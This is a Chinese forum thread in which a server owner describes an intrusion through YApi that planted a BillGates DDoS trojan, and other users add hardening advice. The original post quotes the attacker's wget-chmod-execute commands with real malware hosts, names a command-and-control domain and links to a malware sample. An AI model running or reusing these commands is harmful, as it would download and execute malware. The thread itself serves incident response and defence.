V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
daimaosix
V2EX  ›  信息安全

人生第一次遇到服务器被入侵了,放了一个 DDOS 脚本进去,附病毒样本。

  •  1
     
  •   daimaosix · 2021-07-03 19:45:14 +08:00 · 3688 次点击
    这是一个创建于 1240 天前的主题,其中的信息可能已经有所发展或是发生改变。

    今天下午收到腾讯云安全通知,通知服务器被入侵了,然后去腾讯云看了一下,的确被日了。

    系统的 5 个文件全被一个名叫:Elf32.Trojan.BillGates.da的病毒感染了,分别是:

    /usr/bin/ps
    /usr/bin/lsof
    /usr/bin/netstat
    /usr/bin/bsd-port/getty
    /usr/bin/.sshd
    

    接着发现在 root 目录被下载了 3 个文件:20000 、conf.n 、Kabot,查了一下执行命令:

    /bin/sh -c id;wget http://2w.kacdn.cn/20000;chmod 777 20000;./20000
    /bin/sh -c id;wget http://117.24.13.169:881/KaBot;chmod 777 KaBot;./KaBot
    

    接着发现,这个木马向 www.id666.pw 这个地址发送请求,请求了 14 次。

    想了一下是什么原因被入侵的,服务器没有发现被暴力破解,那屌毛也没有登陆服务器,提权也没发现,因为安全组入站只开放了 3000 这一个端口,出站没有限制任何流量。服务器上运行了 YApi 的程序,就是这个程序使用的 3000 端口,几乎可以排除是从 YApi Web 入侵的,因为 Web 只允许指定地区访问并且就只有两个城市加入了白名单,平时也是公司的人用,没有对外开放过。

    截至被入侵前,服务器还有两个漏洞没处理,分别是:

    • OpenSSH XMSS Key 解析整数溢出漏洞
    • OpenSSL 拒绝服务漏洞(CVE-2021-3449)

    所以也不能排除可能是因为这两个漏洞被日的,我把被感染的程序、病毒样本和木马文件打包了一下,有能力的大佬可以分析一下。

    下载地址: https://ws28.cn/f/5tdnbv41qsg (只有 24 小时有效期)

    因为服务器只有 YApi 一个程序和一个数据库,数据库有备份,YApi 可以重新下载。所以收到报警就直接重装了,不给这屌毛一丁点机会。

    最后想问下大家平时都是怎么做安全的?这玩意防不胜防啊我丢!

    8 条回复    2021-07-09 18:35:57 +08:00
    cwyalpha
        1
    cwyalpha  
       2021-07-04 07:38:35 +08:00 via iPhone
    history lastlog varlog 下面的日志都看了吗
    PhoenixZhang
        2
    PhoenixZhang  
       2021-07-04 16:09:52 +08:00   ❤️ 1
    公司有个采集 Linux 系统日志、进程、网络、文件等关键信息的脚本,https://x.ph5809.xyz:8443/s/Bdiq
    出去应急一般都是跑下脚本然后分析
    服务器定期漏扫修漏洞,平时装椒图云锁防护
    daimaosix
        3
    daimaosix  
    OP
       2021-07-04 16:53:58 +08:00
    @cwyalpha
    @PhoenixZhang
    这次是 Yapi 漏洞的原因被入侵了,不止我一个人,https://github.com/YMFE/yapi/issues/2229
    xmumiffy
        4
    xmumiffy  
       2021-07-04 21:45:39 +08:00
    yapi 的这个漏洞早都报了快半年了

    https://github.com/YMFE/yapi/issues/2099
    coolcoffee
        5
    coolcoffee  
       2021-07-04 23:54:31 +08:00
    yapi 完全可以用普通用户权限跑起来的吧,这样不至于被入侵的时候影响到系统文件。

    另外,建议搭建一个 OPENVPN,通过服务端给客户端下发服务器 IP 路由,这样白名单就可以精确到指定 ip,或者干脆仅内网访问。
    no1xsyzy
        6
    no1xsyzy  
       2021-07-05 10:36:25 +08:00
    @coolcoffee 普通权限也完全可以拿来塞公钥,这是一个任意代码执行权限
    之后可以在 ~/.*shrc 里塞 script -f,塞 alias sudo 之流,你的 sudo 密码也就暴露了。
    CVE-2021-3560 ( polkit 提权)做好处理了没?

    @xmumiffy 顺便提醒一下,里面的临时修复方法也是几乎无效的,JS 下几乎所有代码筛查都可以靠拼接字符串绕过。
    daimaosix
        7
    daimaosix  
    OP
       2021-07-05 14:23:27 +08:00
    @no1xsyzy 我是这么做的:
    1 、更改 Yapi 运行端口
    2 、使用 Nginx 对 Yapi 进行反向代理
    3 、安全组只开放 Nginx 端口,你可以在 Nginx 限制 IP 白名单。
    4 、关闭 Yapi 注册
    5 、关闭 Yapi Mock
    wfd0807
        8
    wfd0807  
       2021-07-09 18:35:57 +08:00
    docker 还是适当用起来吧,虽然不能减少攻击,但是可以减少受攻击以后的影响
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3468 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 11:30 · PVG 19:30 · LAX 03:30 · JFK 06:30
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.